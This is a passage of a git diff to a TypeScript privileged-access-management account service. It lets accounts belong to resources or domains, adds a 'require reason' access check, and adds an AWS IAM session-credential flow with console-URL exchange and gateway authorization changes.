+          ...(!parent.isResource && { domainName: parent.name, domainType: parent.domainType }),
           metadata: metadata ? metadata.map(({ key, value }) => ({ key, value: value ?? "" })) : currentMetadata
         })
       );
@@ -341,29 +417,42 @@ export const pamAccountServiceFactory = ({
     }
 
     if (credentials !== undefined) {
-      const connectionDetails = await decryptResourceConnectionDetails({
-        projectId: account.projectId,
-        encryptedConnectionDetails: resource.encryptedConnectionDetails,
-        kmsService
-      });
-
-      // Decrypt resource metadata if available
-      const resourceInternalMetadata = resource.encryptedResourceMetadata
-        ? await decryptResourceMetadata({
-            encryptedMetadata: resource.encryptedResourceMetadata,
-            projectId: account.projectId,
-            kmsService
-          })
-        : undefined;
-
-      const factory = PAM_RESOURCE_FACTORY_MAP[resource.resourceType as PamResource](
-        resource.resourceType as PamResource,
-        connectionDetails,
-        resource.gatewayId,
-        gatewayV2Service,
-        account.projectId,
-        resourceInternalMetadata
-      );
+      let factory;
+      if (parent.isResource) {
+        const connectionDetails = await decryptResourceConnectionDetails({
+          projectId: account.projectId,
+          encryptedConnectionDetails: parent.encryptedConnectionDetails,
+          kmsService
+        });
+        const resourceInternalMetadata = parent.encryptedResourceMetadata
+          ? await decryptResourceMetadata({
+              encryptedMetadata: parent.encryptedResourceMetadata,
+              projectId: account.projectId,
+              kmsService
+            })
+          : undefined;
+        factory = PAM_RESOURCE_FACTORY_MAP[parent.resourceType as PamResource](
+          parent.resourceType as PamResource,
+          connectionDetails,
+          parent.gatewayId,
+          gatewayV2Service,
+          account.projectId,
+          resourceInternalMetadata
+        );
+      } else {
+        const connectionDetails = await decryptDomainConnectionDetails({
+          projectId: account.projectId,
+          encryptedConnectionDetails: parent.encryptedConnectionDetails,
+          kmsService
+        });
+        factory = PAM_DOMAIN_FACTORY_MAP[parent.domainType as PamDomainType](
+          parent.domainType as PamDomainType,
+          connectionDetails,
+          parent.gatewayId,
+          gatewayV2Service,
+          account.projectId
+        );
+      }
 
       const decryptedCredentials = await decryptAccountCredentials({
         encryptedCredentials: account.encryptedCredentials,
@@ -391,14 +480,12 @@ export const pamAccountServiceFactory = ({
       const existingMeta = await pamAccountDAL.findMetadataByAccountIds([accountId]);
       return {
         ...(await decryptAccount(account, account.projectId, kmsService)),
+        ...formatAccountParent({
+          resource,
+          domain: parent.isResource ? null : parent.raw
+        }),
         metadata: existingMeta[accountId] || [],
-        resourceType: resource.resourceType,
-        resource: {
-          id: resource.id,
-          name: resource.name,
-          resourceType: resource.resourceType,
-          rotationCredentialsConfigured: !!resource.encryptedRotationAccountCredentials
-        }
+        requireReason: await resolveRequireReason(account.policyId)
       };
     }
 
@@ -428,14 +515,12 @@ export const pamAccountServiceFactory = ({
 
       return {
         ...(await decryptAccount(updatedAccount, account.projectId, kmsService)),
+        ...formatAccountParent({
+          resource,
+          domain: parent.isResource ? null : parent.raw
+        }),
         metadata: freshMeta[accountId] || [],
-        resourceType: resource.resourceType,
-        resource: {
-          id: resource.id,
-          name: resource.name,
-          resourceType: resource.resourceType,
-          rotationCredentialsConfigured: !!resource.encryptedRotationAccountCredentials
-        }
+        requireReason: await resolveRequireReason(updatedAccount.policyId)
       };
     } catch (err) {
       if (err instanceof DatabaseError && (err.error as { code: string })?.code === DatabaseErrorCode.UniqueViolation) {
@@ -452,8 +537,7 @@ export const pamAccountServiceFactory = ({
     const account = await pamAccountDAL.findById(id);
     if (!account) throw new NotFoundError({ message: `Account with ID '${id}' not found` });
 
-    const resource = await pamResourceDAL.findById(account.resourceId);
-    if (!resource) throw new NotFoundError({ message: `Resource with ID '${account.resourceId}' not found` });
+    const parent = await resolveAccountParent(account);
 
     const { permission } = await permissionService.getProjectPermission({
       actor: actor.type,
@@ -469,9 +553,9 @@ export const pamAccountServiceFactory = ({
     ForbiddenError.from(permission).throwUnlessCan(
       ProjectPermissionPamAccountActions.Delete,
       subject(ProjectPermissionSub.PamAccounts, {
-        resourceName: resource.name,
         accountName: account.name,
-        resourceType: resource.resourceType,
+        ...(parent.isResource && { resourceName: parent.name, resourceType: parent.resourceType }),
+        ...(!parent.isResource && { domainName: parent.name, domainType: parent.domainType }),
         metadata: accountMeta[id] || []
       })
     );
@@ -480,13 +564,10 @@ export const pamAccountServiceFactory = ({
 
     return {
       ...(await decryptAccount(deletedAccount, account.projectId, kmsService)),
-      resourceType: resource.resourceType,
-      resource: {
-        id: resource.id,
-        name: resource.name,
-        resourceType: resource.resourceType,
-        rotationCredentialsConfigured: !!resource.encryptedRotationAccountCredentials
-      }
+      ...formatAccountParent({
+        resource: parent.isResource ? parent.raw : null,
+        domain: parent.isResource ? null : parent.raw
+      })
     };
   };
 
@@ -511,58 +592,63 @@ export const pamAccountServiceFactory = ({
     const limit = params.limit || 20;
     const offset = params.offset || 0;
 
-    const { accounts: accountsWithResourceDetails, totalCount } =
-      await pamAccountDAL.findByProjectIdWithResourceDetails({
-        projectId,
-        accountView,
-        offset,
-        limit,
-        search: params.search,
-        orderBy: params.orderBy,
-        orderDirection: params.orderDirection,
-        filterResourceIds: params.filterResourceIds,
-        metadataFilter: params.metadataFilter
-      });
+    const { accounts: accountsWithParentDetails, totalCount } = await pamAccountDAL.findByProjectIdWithParentDetails({
+      projectId,
+      accountView,
+      offset,
+      limit,
+      search: params.search,
+      orderBy: params.orderBy,
+      orderDirection: params.orderDirection,
+      filterResourceIds: params.filterResourceIds,
+      filterDomainIds: params.filterDomainIds,
+      metadataFilter: params.metadataFilter
+    });
 
     const decryptedAndPermittedAccounts: Array<
       Omit<TPamAccounts, "encryptedCredentials" | "encryptedLastRotationMessage"> & {
-        resource: Pick<TPamResources, "id" | "name" | "resourceType"> & { rotationCredentialsConfigured: boolean };
+        resource:
+          | (Pick<TPamResources, "id" | "name" | "resourceType"> & { rotationCredentialsConfigured: boolean })
+          | null;
+        domain: { id: string; name: string; domainType: string } | null;
         credentials: TPamAccountCredentials;
         lastRotationMessage: string | null;
-        resourceType: string;
       }
     > = [];
 
     // Fetch metadata for all accounts before permission loop
-    const allAccountIds = accountsWithResourceDetails.map((a) => a.id);
+    const allAccountIds = accountsWithParentDetails.map((a) => a.id);
     const metadataByAccountId = await pamAccountDAL.findMetadataByAccountIds(allAccountIds);
 
-    for await (const account of accountsWithResourceDetails) {
-      // Check permission for each individual account
+    for await (const account of accountsWithParentDetails) {
       if (
         permission.can(
           ProjectPermissionPamAccountActions.Read,
           subject(ProjectPermissionSub.PamAccounts, {
-            resourceName: account.resource.name,
             accountName: account.name,
-            resourceType: account.resource.resourceType,
+            ...(account.resource && {
+              resourceName: account.resource.name,
+              resourceType: account.resource.resourceType
+            }),
+            ...(account.domain && { domainName: account.domain.name, domainType: account.domain.domainType }),
             metadata: metadataByAccountId[account.id] || []
           })
         )
       ) {
         // Decrypt the account only if the user has permission to read it
-        const decryptedAccount = await decryptAccount(account, account.projectId, kmsService);
+        const decryptedAccount = await decryptAccount(
+          account as Parameters<typeof decryptAccount>[0],
+          account.projectId,
+          kmsService
+        );
 
         decryptedAndPermittedAccounts.push({
           ...decryptedAccount,
-          resourceType: account.resource.resourceType,
-          resource: {
-            id: account.resource.id,
-            name: account.resource.name,
-            resourceType: account.resource.resourceType,
-            rotationCredentialsConfigured: !!account.resource.encryptedRotationAccountCredentials
-          }
-        });
+          ...formatAccountParent({
+            resource: account.resource,
+            domain: account.domain
+          })
+        } as unknown as (typeof decryptedAndPermittedAccounts)[0]);
       }
     }
 
@@ -582,43 +668,47 @@ export const pamAccountServiceFactory = ({
   };
 
   const getById = async ({ accountId, actor, actorId, actorAuthMethod, actorOrgId }: TGetAccountByIdDTO) => {
-    const accountWithResource = await pamAccountDAL.findByIdWithResourceDetails(accountId);
-    if (!accountWithResource) throw new NotFoundError({ message: `Account with ID '${accountId}' not found` });
+    const accountWithParent = await pamAccountDAL.findByIdWithParentDetails(accountId);
+    if (!accountWithParent) throw new NotFoundError({ message: `Account with ID '${accountId}' not found` });
 
     const { permission } = await permissionService.getProjectPermission({
       actor,
       actorId,
-      projectId: accountWithResource.projectId,
+      projectId: accountWithParent.projectId,
       actorAuthMethod,
       actorOrgId,
       actionProjectType: ActionProjectType.PAM
     });
 
-    const metadataByAccountId = await pamAccountDAL.findMetadataByAccountIds([accountWithResource.id]);
-    const accountMetadata = metadataByAccountId[accountWithResource.id] || [];
+    const metadataByAccountId = await pamAccountDAL.findMetadataByAccountIds([accountWithParent.id]);
+    const accountMetadata = metadataByAccountId[accountWithParent.id] || [];
 
     ForbiddenError.from(permission).throwUnlessCan(
       ProjectPermissionPamAccountActions.Read,
       subject(ProjectPermissionSub.PamAccounts, {
-        resourceName: accountWithResource.resource.name,
-        accountName: accountWithResource.name,
-        resourceType: accountWithResource.resource.resourceType,
+        accountName: accountWithParent.name,
+        ...(accountWithParent.resource && {
+          resourceName: accountWithParent.resource.name,
+          resourceType: accountWithParent.resource.resourceType
+        }),
+        ...(accountWithParent.domain && {
+          domainName: accountWithParent.domain.name,
+          domainType: accountWithParent.domain.domainType
+        }),
         metadata: accountMetadata
       })
     );
 
-    const decryptedAccount = await decryptAccount(accountWithResource, accountWithResource.projectId, kmsService);
+    const decryptedAccount = await decryptAccount(accountWithParent, accountWithParent.projectId, kmsService);
 
     return {
       ...decryptedAccount,
+      ...formatAccountParent({
+        resource: accountWithParent.resource,
+        domain: accountWithParent.domain
+      }),
       metadata: accountMetadata,
-      resourceType: accountWithResource.resource.resourceType,
-      resource: {
-        id: accountWithResource.resource.id,
-        name: accountWithResource.resource.name,
-        resourceType: accountWithResource.resource.resourceType,
-        rotationCredentialsConfigured: !!accountWithResource.resource.encryptedRotationAccountCredentials
-      }
+      requireReason: await resolveRequireReason(accountWithParent.policyId)
     };
   };
 
@@ -632,7 +722,8 @@ export const pamAccountServiceFactory = ({
       actorName,
       actorUserAgent,
       duration,
-      mfaSessionId
+      mfaSessionId,
+      reason
     }: TAccessAccountDTO,
     actor: OrgServiceActor
   ) => {
@@ -655,6 +746,8 @@ export const pamAccountServiceFactory = ({
       });
     }
 
+    const trimmedReason = reason?.trim() || null;
+
     const fac = APPROVAL_POLICY_FACTORY_MAP[ApprovalPolicyType.PamAccess](ApprovalPolicyType.PamAccess);
 
     const inputs = {
@@ -703,16 +796,31 @@ export const pamAccountServiceFactory = ({
       );
     }
 
-    const project = await projectDAL.findById(account.projectId);
-    if (!project) throw new NotFoundError({ message: `Project with ID '${account.projectId}' not found` });
+    // Reason check is intentionally placed after the approval/permission gates so
+    // its distinct error code does not leak policy configuration to unauthorized actors.
+    if (account.policyId) {
+      const policy = await pamAccountPolicyDAL.findById(account.policyId);
+      const policyRules = (policy?.rules ?? {}) as TPolicyRules;
+      if (policy?.isActive && policyRules[PamAccountPolicyRuleType.RequireReason] && !trimmedReason) {
+        throw new BadRequestError({
+          message: "A reason is required to access this account",
+          name: "PAM_REASON_REQUIRED"
+        });
+      }
+    }
 
     const actorUser = await userDAL.findById(actor.id);
     if (!actorUser) throw new NotFoundError({ message: `User with ID '${actor.id}' not found` });
 
     // If no mfaSessionId is provided, create a new MFA session
     if (!mfaSessionId && account.requireMfa) {
-      // Get organization to check if MFA is enforced at org level
-      const org = await orgDAL.findOrgById(project.orgId);
+      const project = await requestMemoize(requestMemoKeys.projectFindById(account.projectId), () =>
+        projectDAL.findById(account.projectId)
+      );
+      if (!project) throw new NotFoundError({ message: `Project with ID '${account.projectId}' not found` });
+      const org = await requestMemoize(requestMemoKeys.orgFindOrgById(project.orgId), () =>
+        orgDAL.findOrgById(project.orgId)
+      );
       if (!org) throw new NotFoundError({ message: `Organization with ID '${project.orgId}' not found` });
 
       // Determine which MFA method to use
@@ -779,10 +887,6 @@ export const pamAccountServiceFactory = ({
       kmsService
     );
 
-    // Disable access to Active Directory
-    if (resourceType === PamResource.ActiveDirectory)
-      throw new BadRequestError({ message: `Active Directory resources cannot be accessed` });
-
     // Temporarily disable access to Windows Server
     if (resourceType === PamResource.Windows)
       throw new BadRequestError({ message: `Windows resources cannot be accessed at this time` });
@@ -797,7 +901,7 @@ export const pamAccountServiceFactory = ({
         projectId: account.projectId
       })) as TAwsIamAccountCredentials;
 
-      const { consoleUrl, expiresAt } = await generateConsoleFederationUrl({
+      const credentials = await generateAwsIamSessionCredentials({
         connectionDetails,
         targetRoleArn: awsCredentials.targetRoleArn,
         roleSessionName: actorEmail,
@@ -818,23 +922,35 @@ export const pamAccountServiceFactory = ({
         accountId: account.id,
         resourceId: resource.id,
         userId: actor.id,
-        expiresAt,
-        startedAt: new Date()
+        expiresAt: credentials.expiresAt,
+        startedAt: new Date(),
+        reason: trimmedReason
       });
 
+      // Cache the AccessKeyId so /aws-console-url can verify the caller is
+      // submitting credentials that actually belong to this session
+      const ttlSeconds = Math.max(1, Math.floor((credentials.expiresAt.getTime() - Date.now()) / 1000));
+      await keyStore.setItemWithExpiry(
+        KeyStorePrefixes.PamAwsIamAccessKeyId(session.id),
+        ttlSeconds,
+        credentials.accessKeyId
+      );
+
       // Schedule session expiration job to run at expiresAt
-      await pamSessionExpirationService.scheduleSessionExpiration(session.id, expiresAt);
+      await pamSessionExpirationService.scheduleSessionExpiration(session.id, credentials.expiresAt);
 
       return {
         sessionId: session.id,
         resourceType,
         account,
-        consoleUrl,
+        accessKeyId: credentials.accessKeyId,
+        secretAccessKey: credentials.secretAccessKey,
+        sessionToken: credentials.sessionToken,
+        expiresAt: credentials.expiresAt.toISOString(),
         metadata: {
           awsAccountId: extractAwsAccountIdFromArn(connectionDetails.roleArn),
           targetRoleArn: awsCredentials.targetRoleArn,
-          federatedUsername: actorEmail,
-          expiresAt: expiresAt.toISOString()
+          federatedUsername: actorEmail
         }
       };
     }
@@ -853,7 +969,8 @@ export const pamAccountServiceFactory = ({
       accountId: account.id,
       resourceId: resource.id,
       userId: actor.id,
-      expiresAt: new Date(Date.now() + duration)
+      expiresAt: new Date(Date.now() + duration),
+      reason: trimmedReason
     });
 
     if (!gatewayId) {
@@ -980,31 +1097,102 @@ export const pamAccountServiceFactory = ({
     };
   };
 
+  const getAwsIamConsoleUrl = async (
+    {
+      sessionId,
+      projectId,
+      accessKeyId,
+      secretAccessKey,
+      sessionToken
+    }: {
+      sessionId: string;
+      projectId: string;
+      accessKeyId: string;
+      secretAccessKey: string;
+      sessionToken: string;
+    },
+    actor: OrgServiceActor
+  ) => {
+    const session = await pamSessionDAL.findById(sessionId);
+    if (!session) throw new NotFoundError({ message: `Session with ID '${sessionId}' not found` });
+
+    if (session.projectId !== projectId) {
+      throw new ForbiddenRequestError({ message: "Session does not belong to the specified project" });
+    }
+
+    if (session.userId !== actor.id) {
+      throw new ForbiddenRequestError({ message: "Session does not belong to the current user" });
+    }
+
+    if (session.resourceType !== PamResource.AwsIam) {
+      throw new BadRequestError({ message: "Session is not an AWS IAM session" });
+    }
+
+    if (session.endedAt || (session.expiresAt && session.expiresAt < new Date())) {
+      throw new BadRequestError({ message: "Session has ended or expired" });
+    }
+
+    // Confirm the submitted creds actually belong to this session by comparing
+    // against the AccessKeyId we stashed at /access time
+    const expectedAccessKeyId = await keyStore.getItem(KeyStorePrefixes.PamAwsIamAccessKeyId(sessionId));
+    if (!expectedAccessKeyId) {
+      throw new BadRequestError({
+        message: "Session credentials are no longer available. Please re-access the account."
+      });
+    }
+    if (expectedAccessKeyId !== accessKeyId) {
+      throw new ForbiddenRequestError({
+        message: "Submitted credentials do not match the session"
+      });
+    }
+
+    const consoleUrl = await exchangeCredentialsForConsoleUrl({
+      accessKeyId,
+      secretAccessKey,
+      sessionToken
+    });
+
+    return {
+      consoleUrl,
+      accountId: session.accountId,
+      accountName: session.accountName,
+      resourceName: session.resourceName
+    };
+  };
+
   const getSessionCredentials = async (sessionId: string, actor: OrgServiceActor) => {
-    // To be hit by gateways only
-    if (actor.type !== ActorType.IDENTITY) {
+    // To be hit by gateways only (identity-based or enrollment-flow)
+    if (actor.type !== ActorType.IDENTITY && actor.type !== ActorType.GATEWAY) {
       throw new ForbiddenRequestError({ message: "Only gateways can perform this action" });
     }
 
     const session = await pamSessionDAL.findById(sessionId);
     if (!session) throw new NotFoundError({ message: `Session with ID '${sessionId}' not found` });
 
-    const project = await projectDAL.findById(session.projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(session.projectId), () =>
+      projectDAL.findById(session.projectId)
+    );
     if (!project) throw new NotFoundError({ message: `Project with ID '${session.projectId}' not found` });
 
-    const { permission } = await permissionService.getOrgPermission({
-      actor: actor.type,
-      actorId: actor.id,
-      orgId: project.orgId,
-      actorAuthMethod: actor.authMethod,
-      actorOrgId: actor.orgId,
-      scope: OrganizationActionScope.Any
-    });
+    if (actor.type === ActorType.IDENTITY) {
+      const { permission } = await permissionService.getOrgPermission({
+        actor: actor.type,
+        actorId: actor.id,
+        orgId: project.orgId,
+        actorAuthMethod: actor.authMethod,
+        actorOrgId: actor.orgId,
+        scope: OrganizationActionScope.Any
+      });
 
-    ForbiddenError.from(permission).throwUnlessCan(
-      OrgPermissionGatewayActions.CreateGateways,
-      OrgPermissionSubjects.Gateway
-    );
+      ForbiddenError.from(permission).throwUnlessCan(
+        OrgPermissionGatewayActions.CreateGateways,
+        OrgPermissionSubjects.Gateway
+      );
+    } else if (actor.type === ActorType.GATEWAY) {
+      if (project.orgId !== actor.orgId) {
+        throw new ForbiddenRequestError({ message: "Gateway does not have access to this session" });
+      }
+    }
 
     if (!session.accountId) throw new NotFoundError({ message: "Session is missing accountId column" });
 
@@ -1016,13 +1204,17 @@ export const pamAccountServiceFactory = ({
     const account = await pamAccountDAL.findById(session.accountId);
     if (!account) throw new NotFoundError({ message: `Account with ID '${session.accountId}' not found` });
 
-    const resource = await pamResourceDAL.findById(account.resourceId);
+    const resource = await pamResourceDAL.findById(account.resourceId!);
     if (!resource) throw new NotFoundError({ message: `Resource with ID '${account.resourceId}' not found` });
 
-    if (resource.gatewayId && resource.gatewayIdentityId !== actor.id) {
-      throw new ForbiddenRequestError({
-        message: "Identity does not have access to fetch the PAM session credentials"
-      });
+    if (resource.gatewayId) {
+      const authorized =
+        actor.type === ActorType.GATEWAY ? resource.gatewayId === actor.id : resource.gatewayIdentityId === actor.id;
+      if (!authorized) {
+        throw new ForbiddenRequestError({
+          message: "Gateway does not have access to fetch the PAM session credentials"
+        });
+      }
     }
 
     const decryptedAccount = await decryptAccount(account, session.projectId, kmsService);
@@ -1035,13 +1227,17 @@ export const pamAccountServiceFactory = ({
       const policy = await pamAccountPolicyDAL.findById(account.policyId);
       if (policy && policy.isActive) {
         const rules = (policy.rules ?? {}) as TPolicyRules;
-        for (const ruleType of Object.values(PamAccountPolicyRuleType)) {
+
+        const gatewayRuleTypes = [
+          PamAccountPolicyRuleType.CommandBlocking,
+          PamAccountPolicyRuleType.SessionLogMasking
+        ] as const;
+        for (const ruleType of gatewayRuleTypes) {
           const ruleConfig = rules[ruleType];
-          if (ruleConfig) {
-            const supported = PAM_ACCOUNT_POLICY_RULE_SUPPORTED_RESOURCES[ruleType];
-            if (supported === "all" || supported.includes(resource.resourceType as PamResource)) {
-              policyRules[ruleType] = ruleConfig;
-            }
+          const supported = PAM_ACCOUNT_POLICY_RULE_SUPPORTED_RESOURCES[ruleType];
+          const isSupported = supported === "all" || supported.includes(resource.resourceType as PamResource);
+          if (ruleConfig && isSupported) {
+            policyRules[ruleType] = ruleConfig;
           }
         }
       }
@@ -1149,13 +1345,16 @@ export const pamAccountServiceFactory = ({
     if (minIntervalSeconds === Infinity) return [];
 
     const resourceIdsWithRules = Object.keys(rulesByResource);
-    const accounts = await pamAccountDAL.findRotationCandidates(resourceIdsWithRules, minIntervalSeconds);
+    const accounts = await pamAccountDAL.findRotationCandidates({
+      resourceIds: resourceIdsWithRules,
+      minIntervalSeconds
+    });
 
     const now = Date.now();
     const dueAccounts: TPamAccounts[] = [];
 
     for (const account of accounts) {
-      const rules = rulesByResource[account.resourceId];
+      const rules = rulesByResource[account.resourceId!];
       // eslint-disable-next-line no-continue
       if (!rules) continue;
 
@@ -1198,7 +1397,7 @@ export const pamAccountServiceFactory = ({
       if (!claimed) return;
 
       // Read resource
-      const resource = await pamResourceDAL.findById(account.resourceId);
+      const resource = await pamResourceDAL.findById(account.resourceId!);
       if (!resource || !resource.encryptedRotationAccountCredentials) {
         logger.warn(
           `[Rotation] Resource or rotation credentials missing for account [accountId=${account.id}], releasing lock`
@@ -1366,7 +1565,7 @@ export const pamAccountServiceFactory = ({
             metadata: {
               accountId: account.id,
               accountName: account.name,
-              resourceId: account.resourceId,
+              resourceId: account.resourceId!,
               resourceType: logResourceType,
               errorMessage
             }
@@ -1389,60 +1588,61 @@ export const pamAccountServiceFactory = ({
   };
 
   const triggerManualRotation = async (accountId: string, actor: OrgServiceActor) => {
-    const accountWithResource = await pamAccountDAL.findByIdWithResourceDetails(accountId);
-    if (!accountWithResource) throw new NotFoundError({ message: `Account with ID '${accountId}' not found` });
+    const accountWithParent = await pamAccountDAL.findByIdWithParentDetails(accountId);
+    if (!accountWithParent) throw new NotFoundError({ message: `Account with ID '${accountId}' not found` });
+    if (!accountWithParent.resource)
+      throw new NotFoundError({ message: `Resource not found for account '${accountId}'` });
 
     const { permission } = await permissionService.getProjectPermission({
       actor: actor.type,
       actorAuthMethod: actor.authMethod,
       actorId: actor.id,
       actorOrgId: actor.orgId,
-      projectId: accountWithResource.projectId,
+      projectId: accountWithParent.projectId,
       actionProjectType: ActionProjectType.PAM
     });
 
     ForbiddenError.from(permission).throwUnlessCan(
       ProjectPermissionPamAccountActions.TriggerRotation,
       subject(ProjectPermissionSub.PamAccounts, {
-        resourceName: accountWithResource.resource.name,
-        accountName: accountWithResource.name,
-        resourceType: accountWithResource.resource.resourceType
+        resourceName: accountWithParent.resource.name,
+        accountName: accountWithParent.name,
+        resourceType: accountWithParent.resource.resourceType
       })
     );
 
-    if (!accountWithResource.resource.encryptedRotationAccountCredentials) {
+    if (!accountWithParent.resource.encryptedRotationAccountCredentials) {
       throw new BadRequestError({ message: "Rotation credentials are not configured on this resource" });
     }
 
     // Immediate check. There's an actual atomic lock in rotateAccount
-    if (accountWithResource.rotationStatus === PamAccountRotationStatus.Rotating) {
+    if (accountWithParent.rotationStatus === PamAccountRotationStatus.Rotating) {
       throw new BadRequestError({ message: "Account is already being rotated" });
     }
 
-    await rotateAccount(accountWithResource);
+    await rotateAccount(accountWithParent);
 
-    const updatedAccountWithResource = await pamAccountDAL.findByIdWithResourceDetails(accountId);
-    if (!updatedAccountWithResource) throw new NotFoundError({ message: `Account with ID '${accountId}' not found` });
+    const updatedAccountWithParent = await pamAccountDAL.findByIdWithParentDetails(accountId);
+    if (!updatedAccountWithParent) throw new NotFoundError({ message: `Account with ID '${accountId}' not found` });
+    if (!updatedAccountWithParent.resource)
+      throw new NotFoundError({ message: `Resource not found for account '${accountId}'` });
 
-    const metadataByAccountId = await pamAccountDAL.findMetadataByAccountIds([updatedAccountWithResource.id]);
-    const accountMetadata = metadataByAccountId[updatedAccountWithResource.id] || [];
+    const metadataByAccountId = await pamAccountDAL.findMetadataByAccountIds([updatedAccountWithParent.id]);
+    const accountMetadata = metadataByAccountId[updatedAccountWithParent.id] || [];
 
     const decryptedAccount = await decryptAccount(
-      updatedAccountWithResource,
-      updatedAccountWithResource.projectId,
+      updatedAccountWithParent,
+      updatedAccountWithParent.projectId,
       kmsService
     );
 
     return {
       ...decryptedAccount,
       metadata: accountMetadata,
-      resourceType: updatedAccountWithResource.resource.resourceType,
-      resource: {
-        id: updatedAccountWithResource.resource.id,
-        name: updatedAccountWithResource.resource.name,
-        resourceType: updatedAccountWithResource.resource.resourceType,
-        rotationCredentialsConfigured: !!updatedAccountWithResource.resource.encryptedRotationAccountCredentials
-      }
+      ...formatAccountParent({
+        resource: updatedAccountWithParent.resource,
+        domain: null
+      })
     };
   };
 
@@ -1454,58 +1654,67 @@ export const pamAccountServiceFactory = ({
     actorAuthMethod,
     actorOrgId
   }: TViewAccountCredentialsDTO) => {
-    const accountWithResource = await pamAccountDAL.findByIdWithResourceDetails(accountId);
-    if (!accountWithResource) throw new NotFoundError({ message: `Account with ID '${accountId}' not found` });
+    const accountWithParent = await pamAccountDAL.findByIdWithParentDetails(accountId);
+    if (!accountWithParent) throw new NotFoundError({ message: `Account with ID '${accountId}' not found` });
+    if (!accountWithParent.resource && !accountWithParent.domain)
+      throw new NotFoundError({ message: `Parent not found for account '${accountId}'` });
 
     const { permission } = await permissionService.getProjectPermission({
       actor,
       actorId,
-      projectId: accountWithResource.projectId,
+      projectId: accountWithParent.projectId,
       actorAuthMethod,
       actorOrgId,
       actionProjectType: ActionProjectType.PAM
     });
 
-    const metadataByAccountId = await pamAccountDAL.findMetadataByAccountIds([accountWithResource.id]);
-    const accountMetadata = metadataByAccountId[accountWithResource.id] || [];
+    const metadataByAccountId = await pamAccountDAL.findMetadataByAccountIds([accountWithParent.id]);
+    const accountMetadata = metadataByAccountId[accountWithParent.id] || [];
 
     ForbiddenError.from(permission).throwUnlessCan(
       ProjectPermissionPamAccountActions.ReadCredentials,
       subject(ProjectPermissionSub.PamAccounts, {
-        resourceName: accountWithResource.resource.name,
-        resourceType: accountWithResource.resource.resourceType,
-        accountName: accountWithResource.name,
+        accountName: accountWithParent.name,
+        ...(accountWithParent.resource && {
+          resourceName: accountWithParent.resource.name,
+          resourceType: accountWithParent.resource.resourceType
+        }),
+        ...(accountWithParent.domain && {
+          domainName: accountWithParent.domain.name,
+          domainType: accountWithParent.domain.domainType
+        }),
         metadata: accountMetadata
       })
     );
 
-    // Decrypt early so we can check if there are sensitive fields before triggering MFA
+    const parentType = accountWithParent.resource?.resourceType || accountWithParent.domain?.domainType || "";
+
     const credentials = await decryptAccountCredentials({
-      encryptedCredentials: accountWithResource.encryptedCredentials,
+      encryptedCredentials: accountWithParent.encryptedCredentials,
       kmsService,
-      projectId: accountWithResource.projectId
+      projectId: accountWithParent.projectId
     });
 
-    if (!hasSensitiveCredentials(accountWithResource.resource.resourceType, credentials)) {
+    if (!hasSensitiveCredentials(parentType, credentials)) {
       throw new BadRequestError({ message: "This account has no sensitive credentials to view" });
     }
 
-    if (!mfaSessionId && accountWithResource.requireMfa) {
-      const project = await projectDAL.findById(accountWithResource.projectId);
-      if (!project)
-        throw new NotFoundError({ message: `Project with ID '${accountWithResource.projectId}' not found` });
-
+    if (!mfaSessionId && accountWithParent.requireMfa) {
+      // actorOrgId equals project.orgId: getProjectPermission above guarantees project existence
+      // and org membership, so no separate project lookup is needed to resolve the org ID.
       const actorUser = await userDAL.findById(actorId);
       if (!actorUser) throw new NotFoundError({ message: `User with ID '${actorId}' not found` });
 
-      const org = await orgDAL.findOrgById(project.orgId);
-      if (!org) throw new NotFoundError({ message: `Organization with ID '${project.orgId}' not found` });
+      const org = await requestMemoize(requestMemoKeys.orgFindOrgById(actorOrgId), () =>
+        orgDAL.findOrgById(actorOrgId)
+      );
+      if (!org) throw new NotFoundError({ message: `Organization with ID '${actorOrgId}' not found` });
 
       const orgMfaMethod = org.enforceMfa ? (org.selectedMfaMethod as MfaMethod | null) : undefined;
       const userMfaMethod = actorUser.isMfaEnabled ? (actorUser.selectedMfaMethod as MfaMethod | null) : undefined;
       const mfaMethod = (orgMfaMethod ?? userMfaMethod ?? MfaMethod.EMAIL) as MfaMethod;
 
-      const newMfaSessionId = await mfaSessionService.createMfaSession(actorUser.id, accountWithResource.id, mfaMethod);
+      const newMfaSessionId = await mfaSessionService.createMfaSession(actorUser.id, accountWithParent.id, mfaMethod);
 
       if (mfaMethod === MfaMethod.EMAIL && actorUser.email) {
         await mfaSessionService.sendMfaCode(actorUser.id, actorUser.email);
@@ -1521,7 +1730,7 @@ export const pamAccountServiceFactory = ({
       });
     }
 
-    if (mfaSessionId && accountWithResource.requireMfa) {
+    if (mfaSessionId && accountWithParent.requireMfa) {
       const mfaSession = await mfaSessionService.getMfaSession(mfaSessionId);
       if (!mfaSession) {
         throw new BadRequestError({ message: "MFA session not found or expired" });
@@ -1531,7 +1740,7 @@ export const pamAccountServiceFactory = ({
         throw new BadRequestError({ message: "MFA session does not belong to current user" });
       }
 
-      if (mfaSession.resourceId !== accountWithResource.id) {
+      if (mfaSession.resourceId !== accountWithParent.id) {
         throw new BadRequestError({ message: "MFA session is for a different account" });
       }
 
@@ -1544,12 +1753,24 @@ export const pamAccountServiceFactory = ({
 
     return {
       credentials,
-      resourceType: accountWithResource.resource.resourceType,
-      accountId: accountWithResource.id,
-      accountName: accountWithResource.name,
-      resourceId: accountWithResource.resource.id,
-      resourceName: accountWithResource.resource.name,
-      projectId: accountWithResource.projectId
+      parentType,
+      accountId: accountWithParent.id,
+      accountName: accountWithParent.name,
+      projectId: accountWithParent.projectId,
+      resource: accountWithParent.resource
+        ? {
+            id: accountWithParent.resource.id,
+            name: accountWithParent.resource.name,
+            resourceType: accountWithParent.resource.resourceType
+          }
+        : null,
+      domain: accountWithParent.domain
+        ? {
+            id: accountWithParent.domain.id,
+            name: accountWithParent.domain.name,
+            domainType: accountWithParent.domain.domainType
+          }
+        : null
     };
   };
 
@@ -1560,6 +1781,7 @@ export const pamAccountServiceFactory = ({
     list,
     getById,
     access,
+    getAwsIamConsoleUrl,
     viewCredentials,
     getSessionCredentials,
     rotateAllDueAccounts,
diff --git a/backend/src/ee/services/pam-account/pam-account-types.ts b/backend/src/ee/services/pam-account/pam-account-types.ts
index 7ef92736146..b61e83f9081 100644
--- a/backend/src/ee/services/pam-account/pam-account-types.ts
+++ b/backend/src/ee/services/pam-account/pam-account-types.ts
@@ -9,8 +9,10 @@ import { PamAccountOrderBy, PamAccountView } from "./pam-account-enums";
 // DTOs
 export type TCreateAccountDTO = Pick<
   TPamAccount,
-  "name" | "description" | "credentials" | "folderId" | "resourceId" | "requireMfa"
